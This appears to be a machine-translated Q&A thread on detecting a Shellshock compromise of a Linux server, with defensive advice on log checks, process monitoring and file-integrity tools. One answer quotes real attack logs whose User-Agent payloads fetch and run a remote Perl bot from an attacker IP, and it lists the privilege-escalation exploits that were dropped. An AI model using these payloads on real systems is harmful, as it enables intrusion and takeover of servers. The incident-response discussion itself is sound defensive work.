Shellshock: Как я узнаю, что мой сервер скомпрометирован + подозрительные файлы для поиска


18

Три вопроса, на которые, я надеюсь, кто-то может помочь ответить:

  1. Как я узнаю, что мой сервер уже скомпрометирован из-за ошибки Shellshock?
  2. Если это было скомпрометировано, есть ли конкретная папка, где я должен искать вредоносные файлы?
  3. Как выглядит вредоносный файл?

Я использую CentOS 6, стек LEMP

Ответы:


36

Как я узнаю, что мой сервер уже скомпрометирован из-за ошибки Shellshock?

Вы не Это идея уязвимости в безопасности. Если вам нужно было нажать «Впустить крекеры»? ОК / Отмена, это не будет большой уязвимостью.

Возможно, вам посчастливится проверить журналы ваших векторов атак, но, учитывая, что многие службы уязвимы и не все из них регистрируют каждый доступ, вероятно, невозможно окончательно найти атаку.

Если это было скомпрометировано, есть ли конкретная папка, где я должен искать вредоносные файлы?

Нет, вредоносный файл может быть где угодно.

Обычные руткиты устанавливаются в /rootили /или /tmpили в одном из двоичных путей, но на самом деле они могут быть где угодно. У них может быть имя, похожее на реальный сервис или что-то «важное», похожее на « IPTables» или « kernel-bin», но они также могут быть случайными строками символов или тем же именем, что и подлинный двоичный файл (просто по другому пути). Вы можете заметить действительно очевидную загрузку руткитов /etc/rc.localили создание соединений через них netstat -neopa. Ищите подозрительные имена процессов в top -c.

Менее распространенный и гораздо более трудный для поиска руткит заменяет библиотеку или загружает себя в качестве библиотеки shim и перехватывает системные вызовы. Это почти невозможно найти, если вы не соберете все компоненты, работающие в вашей системе, и не сравните их с ожидаемым поведением заведомо исправной системы или исходного кода.

Было бы быстрее, проще и убедительнее просто перезагрузить систему.

Как выглядит вредоносный файл?

Вероятно, как любой другой обычный бинарный файл ELF или библиотека. Это также может быть сценарий.

В заключение, если вы считаете, что существует вероятность того, что ваша система была взломана, отнеситесь к ней так, как если бы она была взломана, и примите необходимые меры.


14
+1 "Впустить крекеров?" С другой стороны ... если вы видите что-то с именем «IPTables» в Linux, будьте очень подозрительны. UNIXian это CapsPhobic.
епископ

если вы считаете, что существует вероятность того, что ваша система была взломана, отнеситесь к ней так, как если бы она была взломана, и примите необходимые меры. Это означает, что все возможные системы, которые bashустановлены и сетевой кабель подключен, верно?
Федерико Полони

@FedericoPoloni Только если кто-то может получить доступ к вашей оболочке через сеть. Но в остальном вы абсолютно правы.
Scai

@FedericoPoloni Я не уверен, что это разумный выбор, потому что мне придется постоянно отключать все системы, так как я никогда не могу быть уверен на 100%, что они не были скомпрометированы, и серьезно никто не может быть уверен, что их системы не были скомпрометированы, если только они очень оптимистичны. Если у вас есть подозрения, что ваша система ведет себя не так, как должна, вам следует проверить ее и ее сетевой трафик, предпочтительно из ОС CLEAN. Если вы не найдете никаких доказательств фальсификации, вам не нужно принимать меры, кроме того, чтобы починить дыры. В противном случае нам пришлось бы постоянно переустанавливать ВСЕ системы 24x7!
Фрэнк Уоллер

@FrankWaller Я полностью согласен. Существует всегда отдаленная возможность , что система была взломана , и злоумышленник достаточно опытный , чтобы не оставить никаких следов, но мы не можем переустановить 24x7 , чтобы удовлетворить этот случай.
Федерико Полони

21

Shellshock не червь, поэтому нет файлов для поиска. Shellshock - это способ атаковать сеть, чтобы получить доступ. Оказавшись внутри, кто знает, что сделает злоумышленник.


3
Этот ответ кажется мне немного смущенным - возможно, он был спешен, или должен быть комментарием, а не ответом. Конечно, это не червь (это уязвимость, а не вредоносная программа), но непонятно, почему вы считаете это уместным или почему это означает, что «нет файлов для поиска». Shellshock не способ атаковать сеть; это способ пробиться в машину. Это атака на машину, а не на сеть.
DW

2
@DW Конечно, очень лаконично, но явно в прямой реакции на беспокойство ОП is there a particular folder where I should look for malicious files.
ᴠɪɴᴄᴇɴᴛ

5

Я видел одну попытку использовать ошибку, которая установила бы бот IRC как /var/tmp/x. Но в целом нет конкретных файлов для поиска, так как они могут быть где угодно или нигде.

Если вы получили взлом через веб-сервер, то любой новый файл или процесс, принадлежащий пользователю веб-сервера, будет подозрительным.

В случае, если злоумышленник сначала использовал bashошибку для входа в систему, а затем стал локальной уязвимостью root, ее стало практически невозможно обнаружить.

Также посмотрите на этот похожий вопрос .


+1 за идею владения пользователем веб-сервера
Xan

4

Я бы повторил ответ от suprjami и сказал, что если ваша система уязвима, вы должны относиться к ней как к скомпрометированной.

Если вы используете apache, вы можете проверить журналы попыток вторжения Shellshock с помощью следующей команды:

[root@server ~]# grep cgi /var/log/httpd/access*|egrep "};|}\s*;"

Эта команда извлекает все строки, содержащие «cgi», из журналов доступа Apache (по умолчанию они называются access_log, access_log.1, access_log.2 и т. Д.), А затем передает их в egrep с помощью регулярного выражения.

(Источник: http://linux.slashdot.org/story/14/09/24/1638207/remote-exploit-vulnerability-found-in-bash )


Обратите внимание, что для конфигурации Apache по умолчанию это будет отображать атаки только в целевом URL и в заголовках «User-Agent» и «Referer». Атака в заголовке, таком как «Cookie» или «X-Ploit», не регистрируется.
Марк

1
@ Марк Абсолютно, я должен был упомянуть это.
Ральф

1
Конечно, первое, что может сделать любой уважающий себя злоумышленник, это удалить любые намеки на атаку из журналов… именно поэтому журналы должны быть однократными и удаленными!
Йорг Миттаг,

4

Поскольку существует несколько векторов атак для Shellshock, некоторые из которых пока неизвестны широкой публике или вызваны специальным CGI-сценарием, нет определенного способа определить, скомпрометирован или нет.

В дополнение к обычному подходу «давайте посмотрим, изменились ли некоторые системные файлы или произошло что-то еще подозрительное в последнее время», вам может потребоваться следить за поведением вашего сервера.

  1. Есть ли внезапно намного больше сетевого трафика?
  2. Много ли изменилось использование процессора / памяти?
  3. Что-то поглощает дисковое пространство или вызывает больше операций ввода-вывода, чем обычно?
  4. Имеете ли netstatпоказывать странные сетевые соединения или ps auxпоказать процессы , которые вы не признаете?
  5. Ваш сервер внезапно отправляет гораздо больше сообщений электронной почты, чем раньше?

Если у вас есть надлежащий мониторинг работоспособности сервера (например, Zabbix), он также может помочь вам обнаружить нарушения безопасности. Вы также можете сравнить суммы системных файлов MD5 / SHA с заведомо исправной резервной копией.

Просто действуйте так, как будто ваш сервер был скомпрометирован, и исследуйте все, что вы можете придумать


4

Я просто имел удовольствие почистить скомпрометированную старую систему Plesk. Первым, что выдало его, были многочисленные процессы, которые начали прослушивать несколько портов, а другие пытались загрузить код с исходного сервера сканирования.

    lsof -i -n
...
        perl       1899      user100     3u  IPv4 227582583      0t0  TCP 87.106.215.123:49859->94.102.63.238:https (SYN_SENT)
        perl       1999      user101     3u  IPv4 227582597      0t0  TCP 87.106.215.123:49861->94.102.63.238:https (SYN_SENT)
        perl       2016       wwwrun     3u  IPv4 227549964      0t0  TCP 87.106.215.123:56263->94.102.63.238:https (ESTABLISHED)
...

После регистрации я обнаружил, что окончательной дырой был cgi_wrapperсценарий, то, что должно было защищать и защищать систему, это то, что фактически разрывало дыру в защите. Вот некоторые из строк журнала от зондов и успешной атаки:

Это строки из access_log, так как это всего лишь пример, обратите внимание на 200 на двух из строк, в то время как другие не работают с 404. Вам не нужно беспокоиться о строках с 404, так как они не увенчались успехом, те с 200 однако сделали. Схема этих атак здесь всегда одна и та же: 1. найдите уязвимый сценарий cgi, используйте эксплойт «shellshock» для загрузки и выполнения сценария perl, снова удалите сценарий perl. Сценарий perl фактически загрузит некоторые исходные файлы (tgz), скомпилирует их и запустит, из того, что я видел, они включают, по крайней мере, бэкдор и механизм автоматического обновления, плюс то, что похоже на эксплойты, чтобы попытаться получить повышенные привилегии выполнения. Все начальные сценарии фактически выполняются от имени пользователя, предоставленного оболочкой, в то время как последующие службы запускаются с PPID 1 (запускается из корневого процесса)).

94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:00:41:03 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-sys/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /cgi-bin/php5-cli? HTTP/1.1" 404 1018 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"
94.102.63.238 - - [28/Sep/2014:01:29:34 +0200] "GET /phppath/cgi_wrapper? HTTP/1.1" 200 9 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

И вот соответствующие строки error_log:

[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] --2014-09-28 00:41:03--  http://94.102.63.238/shell.pl
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]   626K
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] 2014-09-28 00:41:03 (626 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238]
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 00:41:03 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 00:46:03 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 00:46:03 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] File does not exist: /srv/www/vhosts/default/htdocs/cgi-sys
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/cgi-bin/cgi_wrapper/php
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] --2014-09-28 01:29:34--  http://94.102.63.238/shell.pl
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Connecting to 94.102.63.238:80...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] connected.
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] HTTP request sent, awaiting response...
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 200 OK
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Length:
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 17079
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  (17K)
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]  [text/x-perl]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] Saving to: `/tmp/bot.pl'
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]      0K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] .
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 100%
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]   575K
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] =0.03s
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] 2014-09-28 01:29:34 (575 KB/s) - `/tmp/bot.pl' saved [17079/17079]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238]
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5
[Sun Sep 28 01:29:34 2014] [error] [client 94.102.63.238] script not found or unable to stat: /srv/www/vhosts/default/cgi-binphp5-cli
[Sun Sep 28 01:34:34 2014] [warn] [client 94.102.63.238] Timeout waiting for output from CGI script /srv/www/cgi-bin/cgi_wrapper/cgi_wrapper
[Sun Sep 28 01:34:34 2014] [error] [client 94.102.63.238] (70007)The timeout specified has expired: ap_content_length_filter: apr_bucket_read() failed

Файлы, загруженные в / tmp Как можно догадаться, у меня нет файла bot.pl, поскольку он удален сразу.

-rwxr-xr-x 1 user100  psacln   187 Sep 29 01:02 check
-rwxr-xr-x 1 user100  psacln  9849 Sep 29 03:35 exploit
drwxr-xr-x 4 user100  psacln  4096 Sep 29 03:19 expls
-rw-r--r-- 1 user100  psacln 91693 Sep 29 03:13 expls.tgz
-rw-r--r-- 1 user100  psacln   178 Sep 29 03:35 payload.c

cd ./expls
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 1
drwxr-xr-x 2 user100  psacln  4096 Sep 29 03:13 2
-rwxr-xr-x 1 user100  psacln 23040 Sep 29 03:19 bcm
-rw-r--r-- 1 user100  psacln 15695 Sep 29 02:46 bcm.c
-rwxr-xr-x 1 user100  psacln 13175 Sep 29 03:19 bug
-rw-r--r-- 1 user100  psacln  2657 Sep 29 02:46 bug.c
-rwxr-xr-x 1 user100  psacln 14560 Sep 29 03:13 config
-rw-r--r-- 1 user100  psacln  6468 Sep 29 02:46 config.c
-rwxr-xr-x 1 user100  psacln 13866 Sep 29 03:13 config2
-rw-r--r-- 1 user100  psacln  6335 Sep 29 02:46 config2.c
-rw-r--r-- 1 user100  psacln  2736 Sep 29 02:46 data.c
-rw-r--r-- 1 user100  psacln  4221 Sep 29 02:46 diag.c
-rwxr-xr-x 1 user100  psacln 13698 Sep 29 03:19 expl
-rw-r--r-- 1 user100  psacln  1686 Sep 29 02:46 expl.c
-rw-r--r-- 1 user100  psacln 15013 Sep 29 02:46 half.c
-rwxr-xr-x 1 user100  psacln 18611 Sep 29 03:19 nellson
-rw-r--r-- 1 user100  psacln  9489 Sep 29 02:46 nellson.c
-rwxr-xr-x 1 user100  psacln   419 Sep 29 02:03 origin
-rw-r--r-- 1 user100  psacln 15727 Sep 29 02:46 pipe.c
-rwxr-xr-x 1 user100  psacln 13481 Sep 29 03:19 polkit
-rw-r--r-- 1 user100  psacln  3597 Sep 29 02:46 polkit.c
-rwxr-xr-x 1 user100  psacln  2741 Sep 29 01:51 preload
-rwxr-xr-x 1 user100  psacln   208 Sep 29 02:01 preload2
-rwxr-xr-x 1 user100  psacln 14257 Sep 29 03:13 rds
-rw-r--r-- 1 user100  psacln  7250 Sep 29 02:46 rds.c
-rwxr-xr-x 1 user100  psacln   233 Sep 29 03:13 run
-rwxr-xr-x 1 user100  psacln 17864 Sep 29 03:19 semtex
-rw-r--r-- 1 user100  psacln  3757 Sep 29 02:46 semtex.c
-rwxr-xr-x 1 user100  psacln 14023 Sep 29 03:13 semtex2
-rw-r--r-- 1 user100  psacln  4799 Sep 29 02:46 semtex2.c
-rwxr-xr-x 1 user100  psacln 17904 Sep 29 03:19 semtex3
-rw-r--r-- 1 user100  psacln  2691 Sep 29 02:46 semtex3.c
-rwxr-xr-x 1 user100  psacln 13014 Sep 29 03:19 shell
-rw-r--r-- 1 user100  psacln   159 Sep 29 02:46 shell.c
-rwxr-xr-x 1 user100  psacln  9157 Sep 29 03:13 sock
-rw-r--r-- 1 user100  psacln  2232 Sep 29 02:46 sock.c
-rwxr-xr-x 1 user100  psacln   438 Sep 29 03:13 start
-rwxr-xr-x 1 user100  psacln 18268 Sep 29 03:19 sys32
-rw-r--r-- 1 user100  psacln  5389 Sep 29 02:46 sys32.c
-rw-r--r-- 1 user100  psacln 25396 Sep 29 02:46 x86_64.c

Через некоторое время я заметил ssh-соединения из разных мест, например из Китая, которые обычно не посещают наш сервер так часто. Я исправил bash в качестве экстренной меры (было бы неплохо, чтобы исправленные источники были доступны на веб-сайте FSF, а не только действительно устаревшие источники и файлы исправлений (один из которых сначала не был корректно применен). Система запланирована для полного завершения. стереть сейчас, так что если кто-то ищет что-то еще об атаке, вы можете спросить, но сделать это в ближайшее время.


3

Этот ответ не имеет особого отношения к Shellshock, но для любой системы вы думаете, скомпрометированы

Второе замечание: вы не можете быть уверены, что восстановились из скомпрометированной корневой системы. Ваше единственное действие - уничтожить и восстановить систему

Попробуйте получить чистую статическую сборку rpmи запустить команду rpm --verify --all. Он скажет вам, какие файлы, принадлежащие пакету, были изменены. Но так как вы можете запустить его на скомпрометированной системе, вы не можете полностью доверять результату. Затем вы можете просто сделать a, rpm -qaчтобы получить список пакетов, воссоздать другую систему с теми же версиями пакетов, а затем a find / -type f |xargs -r -n 100 md5sum |sortв обеих системах и посмотреть, что отличается. Также, если вы правильно управляете своей системой (то есть не устанавливаете ничего вручную вне / opt или / usr / local / bin или другого неуправляемого места), вы можете искать все файлы в вашей системе, которые не принадлежат пакету, с помощью find / -type f -exec rpm -qf {} \;. Должны отображаться ошибки для неизвестных файлов. Я позволю вам не показывать позитивы в качестве упражнения ;-)

Чтобы периодически делать то же самое с криптографическим доказательством, существует инструмент, Tripwireкоторый вы можете найти как бесплатную версию. Он стар, но делает свою работу. Более новая альтернатива есть AIDE, но она не использовала крипто, когда я смотрел на это много лет назад.

Есть несколько инструментов, которые могут помочь. Например, посмотрите на пакет rkhunter. Он будет сканировать ваш компьютер на наличие известных корневых инструментов и эксплуатируемых файлов.

